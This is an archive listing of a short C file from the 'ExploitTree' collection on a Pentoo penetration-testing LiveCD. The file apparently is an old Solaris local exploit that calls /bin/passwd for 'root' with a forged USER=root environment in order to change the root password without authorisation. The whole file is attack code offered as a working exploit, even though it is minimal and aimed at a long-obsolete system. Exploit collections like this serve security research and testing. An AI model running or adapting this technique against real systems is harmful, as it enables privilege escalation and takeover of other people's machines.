home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / getenv.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  187b  |  8 lines

  1. main ()
  2. {
  3.   char * argv[] = { "passwd", "root", 0 };
  4.   char * envp[] = { "USER=root", 0 };
  5.  
  6.   execve("/bin/passwd",argv,envp);
  7. }
  8. /*                    www.hack.co.za              [2000]*/